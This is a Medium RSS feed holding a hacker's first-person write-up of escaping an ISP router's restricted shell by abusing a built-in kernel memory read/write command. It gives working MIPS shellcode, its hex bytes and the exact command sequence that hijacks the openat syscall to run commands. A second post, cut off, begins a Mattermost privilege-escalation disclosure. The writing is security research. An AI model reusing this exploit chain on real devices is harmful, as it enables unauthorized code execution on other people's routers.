<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Matias Ramirez on Medium]]></title>
        <description><![CDATA[Stories by Matias Ramirez on Medium]]></description>
        <link>https://medium.com/@duality084?source=rss-b13bbddb9f29------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*TWzmyy4O6vZQ0h7Y.jpg</url>
            <title>Stories by Matias Ramirez on Medium</title>
            <link>https://medium.com/@duality084?source=rss-b13bbddb9f29------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:14:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@duality084/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Shell Was Restricted, but the Kernel Memory Was Wide Open]]></title>
            <link>https://medium.com/@duality084/the-shell-was-restricted-but-the-kernel-memory-was-wide-open-78a6b47ce5b0?source=rss-b13bbddb9f29------2</link>
            <guid isPermaLink="false">https://medium.com/p/78a6b47ce5b0</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Matias Ramirez]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 21:46:37 GMT</pubDate>
            <atom:updated>2025-08-12T13:45:26.682Z</atom:updated>
            <content:encoded><![CDATA[<h4>Breaking out of a restricted shell thanks to a Built-in kernel memory write/read feature</h4><h4>Introduction</h4><p>I started like I always do with these kinds of projects. I was bored.</p><p>My day job as a cybersecurity consultant mostly involves web application testing. You know, making a living by changing numeric IDs in HTTP parameters and hoping to access someone else’s data. Broken access controls, misconfigured APIs, and the occasional forgotten admin panel. It pays the bills, but sometimes it feels more like accounting than hacking.</p><p>From time to time I miss when this was just a hobby. No deadlines, no chasing the next bug bounty. Just hacking for fun.</p><p>So one weekend I looked around and thought, what can I mess with that doesn’t involve yet another TLS 1.0 issue or missing security headers?</p><p>There it was, sitting quietly in the corner: my ISP-provided router. Not my first encounter with it either. I had already poked around in the past and even reported a vulnerability(<a href="https://github.com/duality084/CVE-2023-33381-MitraStar-GPT-2741GNAC">CVE-2023–33381</a>). But I still refuse to take it apart, desolder flash chip, and risk ending up with a shiny plastic brick.</p><p>So once again I stayed on the software side. If it involves buffer overflows, reversing, or kernel weirdness, even better. I am not good at that stuff, which is exactly the point. It is nothing like my usual work, and it is always fun to dive into the dark arts of disassembling binaries, corrupting memory, and causing the occasional kernel panic.</p><blockquote>⚠️ Disclaimer</blockquote><blockquote>I’m not a kernel exploitation expert. I’m not a MIPS assembly wizard. I’m not even that great at reversing. What follows is not a technical deep dive or a tutorial. It’s a story.</blockquote><blockquote>A story about how I had arbitrary read/write access to kernel memory, a few basic shell commands like <em>cat</em>, and just enough curiosity to turn a restricted shell into a playground. Some things I describe below might be technically inaccurate, oversimplified, or just plain wrong. But it worked.</blockquote><blockquote>And sometimes, that’s enough.</blockquote><h4>Before You Own It, You Gotta Know It</h4><p>This time, like I said before, I wanted to stay as far away as possible from anything that smelled like a web bug. So instead of opening my browser and going to the web interface like someone who follows the user manual, I did the obvious and poked around port 22. Good old SSH.</p><p>I logged in using the user and password kindly preconfigured by the ISP. No hacks, no tricks, just a warm welcome into the world of restricted access.</p><p>I was greeted by a restricted shell. Not a full shell with all the usual tools, but I did have basic commands like ls and cat to look around. The rest was mostly limited to firewall configuration, Wi-Fi tweaks, DHCP settings, and network utilities like ping and traceroute. Pretty standard router management stuff.</p><p>No bash scripting or fancy tricks, but enough to poke around. So I figured, let’s see how deep the rabbit hole goes.</p><p>Obviously, I tried every command injection trick, I could think of. I was looking for the easy wins, but none of it worked. The available commands were actually pretty extensive. Some didn’t work at all, while others gave no output and didn’t say what they were supposed to do.</p><p>That was the first rabbit hole. Okay, these seem pretty secure. Let’s try the good old one: abuse a functionality because, as always, it is not a bug, it is a feature.</p><p>Later I found a command named bs. I ran bs and nothing happened.</p><p>So, what about runningbs?</p><pre>&gt; bs ?<br>Directory Misc/ - miscellaneous<br>Commands:<br> rm(3 parms): read memory<br> wm(3 parms): write memory<br></pre><p>From the output of the command, I was surprised. Could I really read and write memory? Oh boy, that was good, exactly what I was looking for.</p><p>The real challenge had begun: maybe entering the kernel realm, writing and reading memory, writing some shellcode, debugging the shellcode, crashing the router a few times along the way.</p><h4>What I Have and What I Know</h4><p>Remember the recon. Always remember the reconnaissance. Don’t just start pressing keys like a monkey. I did some minimal recon before stumbling onto the bs command, but now I had something that looked like a real door to escape the shell.</p><p>After running ls and cat, I confirmed the router is running a Linux 3.x kernel, OpenWRT, MIPS 32-bit big endian, and has about 100 MB of RAM, more than my first PC, for the record.</p><p>And how much do I know about writing MIPS shellcode, poking around kernel internals, or building stuff for embedded systems? Nothing useful.</p><p>But I’ve read enough kernel exploit writeups to pretend I understand. I’ve also done some low-level experiments before, antivirus evasion. I even have the OSCP, which basically certifies that I once made a buffer overflow work under unrealistic lab conditions and then never touched it again. So in theory, if I can write stuff into memory, hijack a function pointer, jump to some dark magic shellcode, do my thing, and return without breaking everything, I might just slip out of this glorified kiosk shell pretending to be secure.</p><h4>Because Causing a Kernel Panic Is Basically Debugging</h4><p>So my brilliant escape plan looked something like this:</p><ul><li>Overwrite a syscall or some known function pointer to redirect execution</li><li>Write a shellcode somewhere in memory, obviously</li><li>Return gracefully without turning the router unresponsive</li><li>What should the shellcode actually do? Maybe drop a file? Run a command? Launch a reverse shell? Who knows, I was improvising</li></ul><p>Simple, right? What could possibly go wrong when poking the kernel with homemade assembly and vague ideas?</p><p>First, cause a kernel panic, because it’s fun, as long as it’s not caused by a corrupted filesystem on an on-premise server 400 kilometers away from you.</p><p>Where to write? From kernel exploitation writeups, Google, and the fancy new large language models, I found out that you can read the file /proc/kallsyms and get a complete list of syscall pointers.</p><p>Moving fast forward, causing a kernel panic on the router was easy enough. I lost some time because ChatGPT and Claude make you think they can just write shellcode blindly, hand you the hex codes, and everything will magically work.</p><p>After causing three kernel panics and waiting for the router to reboot each time, I said enough. I needed a more suitable testing environment where I could actually test real MIPS shellcode and debug it with the almighty GDB.</p><p>So I decided to make my own testing environment, Debian with kernel 3.x, emulated on a 32-bit big-endian MIPS processor using QEMU. Just following some random internet guide, as usual(<a href="https://markuta.com/how-to-build-a-mips-qemu-image-on-debian/">How to build a Debian MIPS image on QEMU</a>).</p><p>I asked Claude to generate C code to emulate the bs command, to randomly read and write memory. It worked on the second prompt. Like some kind of AI wizardry.</p><p>From my previous experiments I already knew some of the kernel syscalls, such as open, which is used to perform file operations. By reading /proc/kallsyms and filtering the results, I obtained the memory address I needed.</p><pre>root@debian-testing-mips:/home# cat /proc/kallsyms | grep sys_open<br>8014ea60 W compat_sys_open_by_handle_at<br>8024d370 T do_sys_open<br>8024d608 T sys_open<br>8024d634 T sys_openat<br>802ac32c T sys_open_by_handle_at<br>802c2ae0 t proc_sys_open</pre><p>With my freshly AI-programmed clone of the bscommand, which I proudly named “sandbox”, I wrote to the address using the most traditional and sophisticated debugging pattern known to hackers, <strong>deadbeef</strong>.</p><pre>sandbox&gt; bs wm 8024d608 w deadbeef<br>Writing 0x0deadbeef to address 0x8024d608<br>Write completed</pre><p>Touching syscall pointers and summoning kernel chaos(you can avoid the following output)</p><pre>[169180.076000] Modules linked in: nfsd redboot cfi_cmdset_0001 cfi_probe cfi_util gen_probe drm_kms_helper ttm drm physmap map_funcs syscopyarea sysfillrect sysimgblt chipreg mtd autofs4 sr_mod cdrom e1000 sg uhci_hcd ehci_hcd i2c_piix4 usbcore usb_common i2c_core<br>[169180.076000] CPU: 0 PID: 1065 Comm: bash Tainted: G      D       3.16.0-6-4kc-malta #1 Debian 3.16.56-1+deb8u1<br>[169180.076000] task: 860bd8c8 ti: 86290000 task.ti: 86290000<br>[169180.076000] $ 0   : 00000000 00000001 00000005 7703bbe4<br>[169180.076000] $ 4   : 00a15f48 00000000 00000000 81010100<br>[169180.076000] $ 8   : 00000014 801112c4 8024d608 6f63616c<br>[169180.076000] $12   : 7f80d770 77192e20 00a12608 77192e20<br>[169180.076000] $16   : 7722c000 ffffffff 00000000 7718c2ac<br>[169180.076000] $20   : 00000000 77096670 7718c620 0095f808<br>[169180.076000] $24   : 00000000 77110a50                  <br>[169180.076000] $28   : 86290000 86291f28 7f80d750 8024d610<br>[169180.076000] Hi    : 00000355<br>[169180.076000] Lo    : 00026889<br>[169180.076000] epc   : 90463278 0x90463278<br>[169180.076000]     Tainted: G      D      <br>[169180.076000] ra    : 8024d610 SyS_open+0x8/0x2c<br>[169180.076000] Status: 1000a403        KERNEL EXL IE <br>[169180.076000] Cause : 50808000<br>[169180.076000] PrId  : 00019300 (MIPS 24Kc)<br>[169187.480000] Reserved instruction in kernel code[#9]:<br>[169187.480000] CPU: 0 PID: 1065 Comm: bash Tainted: G      D       3.16.0-6-4kc-malta #1 Debian 3.16.56-1+deb8u1<br>[169187.480000] task: 860bd8c8 ti: 86290000 task.ti: 86290000<br>[169187.480000] $ 0   : 00000000 00000001 00000005 7703bbe4<br>[169187.480000] $ 4   : 00a15f48 00000000 00000000 81010100<br>[169187.480000] $ 8   : 00000014 801112c4 8024d608 6f63616c<br>[169187.480000] $12   : 7f80d770 77192e20 00a12608 77192e20<br>[169187.480000] $16   : 7722c000 ffffffff 00000000 7718c2ac<br>[169187.480000] $20   : 00000000 77096670 7718c620 0095f808<br>[169187.480000] $24   : 00000000 77110a50                  <br>[169187.480000] $28   : 86290000 86291f28 7f80d750 8024d610<br>[169187.480000] Hi    : 00000355<br>[169187.480000] Lo    : 00026889<br>[169187.480000] epc   : 91000000 0x91000000<br>[169187.480000]     Tainted: G      D      <br>[169187.480000] ra    : 8024d610 SyS_open+0x8/0x2c<br>[169187.480000] Status: 1000a403        KERNEL EXL IE <br>[169187.480000] Cause : 10800028<br>[169187.480000] PrId  : 00019300 (MIPS 24Kc)<br>[169187.480000] Modules linked in: nfsd redboot cfi_cmdset_0001 cfi_probe cfi_util gen_probe drm_kms_helper ttm drm physmap map_funcs syscopyarea sysfillrect sysimgblt chipreg mtd autofs4 sr_mod cdrom e1000 sg uhci_hcd ehci_hcd i2c_piix4 usbcore usb_common i2c_core<br>[169187.480000] Process bash (pid: 1065, threadinfo=86290000, task=860bd8c8, tls=77233490)<br>[169187.480000] Stack : 00cc65b1 77236fbc 00000001 00000001 77192e20 00a12608 77192e20 00000000<br>          00000000 00000001 00000fa5 00000000 00a15f48 00000000 00000000 81010100<br>          0000000c 80808080 fefefeff 6f63616c f0000000 000000b0 0000001c 7f80d878<br>          00000003 77236fbc 00000000 00000000 0051a7cf 00000024 00520000 00962700<br>          00000012 77110a50 81010100 00000000 77192e20 7f80d750 0051a7f8 7703babc<br>          ...<br>[169187.480000] Call Trace:<br>[169187.480000] <br>[169187.480000] <br>Code: 00000000  00000000  00000000 &lt;ffffffff&gt; ffffffff  ffffffff  ffffffff  ffffffff  ffffffff <br>[169187.492000] ---[ end trace 59b747ef68c0c1de ]---<br>[169187.544000] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b<br>[169187.544000] <br>[169187.544000] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b<br>[169187.544000]</pre><h4>What Went Wrong and What Made Me Cry Less</h4><p>Okay, now some of the things that went wrong and some things that made my life easier during this experiment. From my failed computer science classes, I know different CPU architectures handle memory differently, the stack, the registers, the jumps. So of course, the little things I know about x86 and x64 Intel architectures are useless here in the MIPS realm.</p><p>First, the MIPS memory layout. On MIPS, the Linux kernel likes to hang out starting at 0x80000000 and goes up from there. For example, the syscall open chills around 0x8024d608, right in kernel territory.</p><p>The cool part? This whole kernel space is executable. That means when hunting for a place to stash my shellcode, I didn’t have to waste time on fancy tricks like ROP chains or figuring out which memory pages are executable. Nope. Just slap the shellcode somewhere in the kernel range and jump right in.</p><p>Continuing, one of the first things that made me lose some time was the MIPS branch delay slot. On MIPS, branch instructions and jumps always execute the instruction right after them before actually jumping.</p><p>I was testing simple shellcode where I just wrote a jump at the beginning of a syscall to redirect to my shellcode. My shellcode would execute the overwritten instruction and then jump back to the syscall at the instruction after the jump. But because of the branch delay slot, things didn’t work as I expected at first.</p><pre>What I thought would happen:<br><br>Original syscall start:<br>+-------------------------+<br>| 0xADDR: jump to shellcode  |  &lt;-- Overwritten instruction<br>| 0xADDR + 4: instr A        |  &lt;-- Next instruction<br>| 0xADDR + 8: instr B        |  &lt;-- Next instruction<br>+-------------------------+<br><br>Execution flow I expected:<br>1. Jump immediately to shellcode at 0xSHELLCODE<br>2. Shellcode executes original instr A (overwritten instruction)<br>3. Shellcode jumps back to 0xADDR + 4 (right after the jump)<br><br>What actually happens due to branch delay slot:<br><br>1. Execute jump at 0xADDR (attempt to jump to shellcode)<br>2. Execute instr A at 0xADDR + 4 BEFORE jumping (branch delay slot)<br>3. Jump to shellcode at 0xSHELLCODE<br><br>Problem:<br>- instr A gets executed twice:<br>  • Once before the jump (delay slot)<br>  • Once again inside shellcode (to emulate overwritten instruction)<br><br>Result:<br>- Unexpected behavior, possibly causing kernel panic or corrupted syscall flow</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*uncneNO-AnBH3qrw.jpg" /></figure><p>A few crashes later, I finally managed to redirect the flow of the syscall and return back like a charm. The catch? My shellcode wasn’t doing anything useful. Of course, making it actually <em>do</em> something would probably hurt the kernel a lot more.</p><p>So I decided to try the easy route, call execv to achieve command execution. Simple enough, right?</p><pre>[Shellcode Start]        # Redirected from patched syscall start<br><br>    # Save registers that will be modified<br>    addi  $sp, $sp, -12     # Allocate stack space<br>    sw    $a0, 8($sp)       # Save $a0 (arg0)<br>    sw    $a1, 4($sp)       # Save $a1 (arg1)<br>    sw    $v0, 0($sp)       # Save $v0 (syscall number)<br><br>    # Setup execv arguments<br>    la    $a0, binsh        # Load pointer to &quot;/bin/sh&quot;<br>    la    $a1, argv         # Load pointer to argv array ([&quot;/bin/sh&quot;, NULL])<br>    li    $v0, 4011         # execv syscall number<br><br>    syscall                 # Make syscall execv(&quot;/bin/sh&quot;, argv)<br><br>    # Restore saved registers before returning<br>    lw    $a0, 8($sp)       # Restore $a0<br>    lw    $a1, 4($sp)       # Restore $a1<br>    lw    $v0, 0($sp)       # Restore $v0<br>    addi  $sp, $sp, 12      # Deallocate stack space<br><br>    # Return to original syscall flow (jump back to syscall + offset)</pre><p>Nothing broke after this, but no command execution happened either. I followed the flow instruction by instruction with GDB, but nothing really happened, good or bad. So, after some Googling, I found out you can’t just call some syscalls from kernel context and expect them to work.</p><p>Okay, maybe writing files then. But turns out you can’t just use open or write syscalls from kernel context either. After some experimenting with vfs_write, I still couldn’t write files. So back to the command execution approach. But how?</p><p>That’s when I found call_usermodehelper. This function lets you execute commands from kernel context.</p><p>call_usermodehelper expects several parameters, but the most important ones for executing a command are:</p><ul><li>A pointer to the <strong>path</strong> of the executable to run (e.g., &quot;/bin/sh&quot;)</li><li>A pointer to an array of pointers to <strong>argv</strong> strings, where each entry is a string argument, ending with a NULL pointer</li></ul><p>The parameters look like this:</p><pre>call_usermodehelper(path, argv, envp, wait);<br><br>Where:<br><br>path = pointer to executable path string<br><br>argv = pointer to array of pointers:<br>    argv[0] -&gt; pointer to program name (usually same as path or command)<br>    argv[1] -&gt; pointer to first argument<br>    argv[2] -&gt; pointer to second argument<br>    ...<br>    argv[n] -&gt; NULL (end of array)<br><br>envp = pointer to array of environment variables (strings), ending with NULL<br><br>wait = integer flag indicating whether to wait for the process to finish</pre><p>Obviously more pain came when trying to use call_usermodehelper. I cannot even remember all the reasons, almost a week had passed since I embarked on this little experiment, but finally it worked. It is alive!</p><p>It is alive. The jump to the shellcode, the shellcode itself, the execution of the command, the return… all summoned like a proper dark magic invocation. Along the way I forged my own grimoires in the form of Python and Bash scripts, each crafted to conjure the exact incantations needed to command the all-powerful bs spell.</p><h4>Final POC:</h4><p>For the PoC, I decided to run a cp command that copies /bin/sh to /tmp/pocrouter</p><p>Back in my testing environment, I first hunted down the address of the openat syscall. Why? As I mentioned earlier, some commands actually work in the restricted shell, and one of them is ps. That’s perfect, because ps uses openat to read the /proc directory. This means I can hijack it to trigger my shellcode exactly when I want.</p><p>The output below shows me running cat /proc/kallsyms | grep openat to find the syscall address.</p><pre>cat /proc/kallsyms | grep openat<br>8024d634 T SyS_openat<br>8024d634 T sys_openat<br>8025dff8 t path_openat</pre><p>Alright, here’s the deal with my final shellcode. The mission: run call_usermodehelper straight from kernel land to execute commands, then slip right back without breaking anything.</p><p>I also needed the address of the call_usermodehelper function, so once again I looked into /proc/kallsyms to find it</p><pre>cat /proc/kallsyms | grep call_usermodehelper<br>801426b0 t call_usermodehelper_freeinfo<br>801426f4 T call_usermodehelper_setup<br>80142a08 t ____call_usermodehelper<br>80142bb0 t __call_usermodehelper<br>80142d00 T call_usermodehelper_exec<br>80143170 T call_usermodehelper</pre><p>The following MIPS assembly sets everything in place to run commands using call_usermodehelper. I’ll compile it and extract the raw bytes to use as shellcode.</p><pre>addiu  $sp, $sp, -32        # Make space on the stack (32 bytes)<br>sw     $a0, 0($sp)          # Save argument registers $a0-$a3, $t2, and $ra<br>sw     $a1, 4($sp)<br>sw     $a2, 8($sp)<br>sw     $t2, 12($sp)<br>sw     $ra, 16($sp)<br>sw     $a3, 20($sp)<br># Set up execve parameters for call_usermodehelper<br>la $a0, 0x81500000          # $a0 = pointer to filename string (e.g., &quot;/bin/sh&quot;)<br>la $a1, 0x81500020          # $a1 = pointer to argv array<br>li $a2, 0                   # $a2 = envp (NULL)<br>la $a3, 1                   # $a3 = wait flag (1 = wait for completion)<br>la $t2, 0x80143170          # $t2 = address of call_usermodehelper syscall wrapper<br>jalr $t2                    # Jump and link to syscall<br># Restore saved registers<br>lw     $a0, 0($sp)<br>lw     $a1, 4($sp)<br>lw     $a2, 8($sp)<br>lw     $t2, 12($sp)<br>lw     $ra, 16($sp)<br>lw     $a3, 20($sp)<br>addiu  $sp, $sp, 32         # Restore stack pointer</pre><p><strong>What’s going on here?</strong></p><p>First, I carve out some stack space and stash away all the registers I’m about to mess with,$a0 through $a3, $t2, and the all-important $ra. Gotta keep the kernel happy and avoid crashes.</p><p>Next, I load up the syscall arguments:</p><ul><li>$a0 points to my target binary (/bin/cp)</li><li>$a1 points to the argument list (argv)</li><li>$a2 is zero — no environment variables needed</li><li>$a3 is set to 1 — telling the kernel to wait for my command to finish</li><li>Then I grab the address of call_usermodehelper into $t2 and jump right in with jalr.</li><li>Last but not least, I pop all my saved registers back off the stack and clean up so the kernel doesn’t freak out.</li></ul><p>This little dance keeps the kernel stable while I hijack execution to do what I want. Smooth, “reliable”, and exactly what I needed to break free from that restricted shell.</p><p>Then I use a script to generate exactly the output the bs command expects, basically building all the parameters needed to call call_usermodehelper. You just enter the command you want to run, its arguments, and the base memory address where everything should be placed, and it gives you the exact commands to write into memory.</p><pre>python3 build-command-mips.py <br>MIPS Shellcode Memory Writer Generator<br>=====================================<br>Enter command (e.g., /bin/cp): /bin/cp <br>Enter arguments (one per line, empty line to finish):<br>/bin/sh  <br>/tmp/pocrouter<br><br>Enter base address (e.g., 0x81500000): 0x81500000<br><br>Generating shellcode for: /bin/cp /bin/sh /tmp/pocrouter<br>Base address: 0x81500000<br><br>Generated commands:<br>--------------------------------------------------<br>bs wm 0x81500000 w 0x2f62696e #&#39;/bin&#39;<br>bs wm 0x81500004 w 0x2f637000 #&#39;/cp\x00&#39;<br>bs wm 0x81500008 w 0x2f62696e #&#39;/bin&#39;<br>bs wm 0x8150000c w 0x2f736800 #&#39;/sh\x00&#39;<br>bs wm 0x81500010 w 0x2f746d70 #&#39;/tmp&#39;<br>bs wm 0x81500014 w 0x2f706f63 #&#39;/poc&#39;<br>bs wm 0x81500018 w 0x726f7574 #&#39;rout&#39;<br>bs wm 0x8150001c w 0x65720000 #&#39;er\x00\x00&#39;<br>bs wm 0x81500020 w 0x81500000 #array of pointers<br>bs wm 0x81500024 w 0x81500008<br>bs wm 0x81500028 w 0x81500010<br>bs wm 0x8150002c w 0x00000000</pre><p>So all those strings and pointers occupy memory from 0x81500000 up to 0x8150002c. Next, I needed the actual shellcode in the same style, raw bytes ready to be written directly into memory. I compiled the assembly code I showed earlier and grabbed the resulting shellcode blob to drop right after the data.</p><pre>root@debian-testing-mips:# objcopy -O binary --only-section=.text shellcode shellcode_text.bin<br>root@debian-testing-mips:# objdump -d shellcode<br><br>shellcode:     file format elf32-tradbigmips<br><br><br>Disassembly of section .text:<br><br>004000d0 &lt;_ftext&gt;:<br>  4000d0: 27bdffe0  addiu sp,sp,-32<br>  4000d4: afa40000  sw a0,0(sp)<br>  4000d8: afa50004  sw a1,4(sp)<br>  4000dc: afa60008  sw a2,8(sp)<br>  4000e0: afaa000c  sw t2,12(sp)<br>  4000e4: afbf0010  sw ra,16(sp)<br>  4000e8: afa70014  sw a3,20(sp)<br>  4000ec: 3c048150  lui a0,0x8150<br>  4000f0: 3c058150  lui a1,0x8150<br>  4000f4: 34a50020  ori a1,a1,0x20<br>  4000f8: 24060000  li a2,0<br>  4000fc: 24070001  li a3,1<br>  400100: 3c0a8014  lui t2,0x8014<br>  400104: 354a3170  ori t2,t2,0x3170<br>  400108: 0140f809  jalr t2<br>  40010c: 00000000  nop<br>  400110: 8fa40000  lw a0,0(sp)<br>  400114: 8fa50004  lw a1,4(sp)<br>  400118: 8fa60008  lw a2,8(sp)<br>  40011c: 8faa000c  lw t2,12(sp)<br>  400120: 8fbf0010  lw ra,16(sp)<br>  400124: 8fa70014  lw a3,20(sp)<br>  400128: 27bd0020  addiu sp,sp,32<br>  40012c: 00000000  nop</pre><p>Extracting the raw data in hex format:</p><pre>hexdump -C shellcode_text.bin | awk -F &quot; &quot; &#39;{print &quot;0x&quot;$2$3$4$5&quot;\n0x&quot;$6$7$8$9&quot;\n0x&quot;$10$11$12$13&quot;\n0x&quot;$14$15$16$17}&#39;<br>0x27bdffe0<br>0xafa40000<br>0xafa50004<br>0xafa60008<br>0xafaa000c<br>0xafbf0010<br>0xafa70014<br>0x3c048150<br>0x3c058150<br>0x34a50020<br>0x24060000<br>0x24070001<br>0x3c0a8014<br>0x354a3170<br>0x0140f809<br>0x00000000<br>0x8fa40000<br>0x8fa50004<br>0x8fa60008<br>0x8faa000c<br>0x8fbf0010<br>0x8fa70014<br>0x27bd0020<br>0x00000000</pre><p>Another script made life way easier by taking the raw hex values of the shellcode along with the target memory address and spitting out the exact bs commands needed to write it all into place.</p><pre>python3 write-memoryo.py 0x81500030 values.txt <br>bs wm 0x81500030 w 0x27bdffe0<br>bs wm 0x81500034 w 0xafa40000<br>bs wm 0x81500038 w 0xafa50004<br>bs wm 0x8150003c w 0xafa60008<br>bs wm 0x81500040 w 0xafaa000c<br>bs wm 0x81500044 w 0xafbf0010<br>bs wm 0x81500048 w 0xafa70014<br>bs wm 0x8150004c w 0x3c048150<br>bs wm 0x81500050 w 0x3c058150<br>bs wm 0x81500054 w 0x34a50020<br>bs wm 0x81500058 w 0x24060000<br>bs wm 0x8150005c w 0x24070001<br>bs wm 0x81500060 w 0x3c0a8014<br>bs wm 0x81500064 w 0x354a3170<br>bs wm 0x81500068 w 0x0140f809<br>bs wm 0x8150006c w 0x00000000<br>bs wm 0x81500070 w 0x8fa40000<br>bs wm 0x81500074 w 0x8fa50004<br>bs wm 0x81500078 w 0x8fa60008<br>bs wm 0x8150007c w 0x8faa000c<br>bs wm 0x81500080 w 0x8fbf0010<br>bs wm 0x81500084 w 0x8fa70014<br>bs wm 0x81500088 w 0x27bd0020<br>bs wm 0x8150008c w 0x00000000</pre><p>I needed to save the first two instructions of the hijacked openat syscall, so I used the bs command to read them before overwriting anything.</p><pre>sandbox&gt; bs rm 0x8024d634 w 2<br>Reading 2 word(s) from address 0x8024d634:<br>0x8024d634: 0x03e00821<br>0x8024d638: 0x00006021</pre><p>The openat syscall is at 0x8024d634. I already grabbed the first two instructions from that spot, so my jump back target is 0x8024d63c (which is 0x8024d634 plus 8 bytes, since each MIPS instruction is 4 bytes).</p><p>Using another script, I generated the raw hex opcode for j 0x8024d63c, the jump instruction to get back to the original syscall flow after my shellcode runs.</p><pre>python3 calc-jump.py 0x8024d63c<br>MIPS Jump Instruction Calculator<br>========================================<br><br>Target Address: 0x8024d63c<br>Jump Instruction: 0x0809358f<br><br>Sandbox command:<br>sandbox&gt; bs wm 0x[address] w 0x0809358f</pre><p>The last piece of my shellcode execute the first two original instructions from the hijacked openat syscall, then jump back to the original flow at 0x8024d63c. Because MIPS always executes the instruction after a jump (the branch delay slot), I added a NOP (0x00000000) there to keep things smooth.</p><p>Here’s the exact commands sent via bs:</p><pre>bs wm 0x81500090 w 0x03e00821 # first instruction of original syscall<br>bs wm 0x81500094 w 0x00006021 # second instruction of original syscall<br>bs wm 0x81500098 w 0x0809358f # jmp 0x8024d63c<br>bs wm 0x8150009c w 0x00000000 # always remember the branch delay after a jump</pre><p>To hijack the openat syscall, I overwrite its first two instructions with a jump to my shellcode and NOP instruction. This is done with the following bs commands:</p><pre>bs wm 0x8024d634 w 0x0854000c # jump to shellcode<br>bs wm 0x8024d638 w 0x00000000 # nop branch delay</pre><p>Final memory layout</p><pre>0x81500000 - 0x8150002c : Command strings and argv pointers<br>  - &#39;/bin/cp&#39;, &#39;/bin/sh&#39;, &#39;/tmp/pocrouter&#39; strings<br>  - argv array pointers for call_usermodehelper<br><br>0x81500030 - 0x8150008c : Shellcode<br>  - The MIPS assembly shellcode that sets up registers and calls call_usermodehelper<br><br>0x81500090 - 0x8150009c : Original syscall instructions + jump back</pre><p>The video below shows the exploit in action. I set a breakpoint at 0x81500030 using GDB to catch when the shellcode starts executing.</p><p>You’ll see the openat syscall getting triggered when I run the ps command, and also when I hit tab and runls. Right after the syscall is hijacked, the shellcode runs and creates the file /tmp/pocrouter as proof of concept.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1109146630%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1109146630&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2046589679-0a4cba7fe2882e4a9e7b0f51784657a18490c5c64e22a807546b808d46c557cd-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1280" height="720" frameborder="0" scrolling="no"><a href="https://medium.com/media/fbef000489854a0ba35f4010edf0a536/href">https://medium.com/media/fbef000489854a0ba35f4010edf0a536/href</a></iframe><p>Final words: This little demo was just a taste of what I ran in my testing environment. On the actual router, it played out almost the same way. The only real twist was that most of the filesystem was locked down as read-only, but by then, the hard part was over. Running commands was already in my pocket, so dropping files in /tmp, tweaking environment variables, or replacing certain utilities was just part of the closing tricks. Once you’ve gained the foothold, breaking out of the shell is easy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78a6b47ce5b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mattermost Privilege Escalation — A Business Acceptable Risk?]]></title>
            <link>https://medium.com/@duality084/mattermost-privilege-escalation-a-business-acceptable-risk-d83b91d4413e?source=rss-b13bbddb9f29------2</link>
            <guid isPermaLink="false">https://medium.com/p/d83b91d4413e</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[mattermost]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Matias Ramirez]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 15:40:18 GMT</pubDate>
            <atom:updated>2025-02-03T15:44:29.436Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mattermost Privilege Escalation — A Business Acceptable Risk?</h3><h3>Summary:</h3><p>I discovered a broken access control vulnerability in Mattermost that allows privilege escalation. A user with the <strong>System Manager</strong> role, or one manually granted the sysconsole_write_user_management_permissions permission, can elevate their privileges and access functionalities meant only for <strong>System Administrator</strong> users.</p><p>In self-hosted Mattermost instances where plugin uploads are enabled, this could lead to <strong>remote command execution</strong>. The issue was promptly reported through <strong>Bugcrowd</strong>, but after triage, it was marked as a <strong>duplicate</strong>.</p><p>Ultimately, both the initial report and mine were classified as <strong>“Business Acceptable Risk”</strong> by the Mattermost team.</p><p>(If the original reporter reads this, please contact me so I can credit you properly.)</p><p>This post aims to <strong>inform</strong> Mattermost customers and users about this issue, as neither the application documentation nor the API docs clarify this risk. In fact, the API documentation states that the affected endpoint is only accessible to users with <strong>‘manage_system’</strong> permissions — but I will demonstrate that this is not necessary.</p><h3>Technical details:</h3><p>Mattermost allows granular permission settings for different roles. I discovered that if a user has the sysconsole_write_user_management_permissions permission, they can elevate their own privileges to access functionalities that would normally be restricted. For example, the default <strong>‘System Manager’</strong> role includes this permission, but by default, it cannot access certain functionalities like Reporting, Authentication, Integrations, Plugins, and Compliance. The following images demonstrate that the <strong>‘System Manager’</strong> role has the ‘Permissions’ setting enabled for editing, while the previously mentioned functionalities remain disabled by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nw8SSjxza3KyD52D_mRQrw.png" /><figcaption>System Manager user permissions.</figcaption></figure><figure><img alt="" 